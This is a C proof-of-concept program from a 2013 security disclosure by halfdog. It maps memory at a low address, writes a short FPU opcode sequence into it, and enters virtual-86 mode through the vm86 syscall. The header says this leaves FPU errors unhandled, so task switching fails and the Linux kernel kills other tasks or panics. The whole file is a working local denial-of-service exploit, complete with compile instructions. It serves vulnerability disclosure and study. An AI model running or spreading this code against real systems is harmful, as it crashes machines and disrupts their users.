/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode. Due to unhandled FPU errors,
* task switch will fail afterwards, kernel will attempt to
* kill other tasks when switching.
*
* gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
*
* See http://www.halfdog.net/Data/var/www/www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
memset(realMem, 0, realMemSize);
memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem);
}
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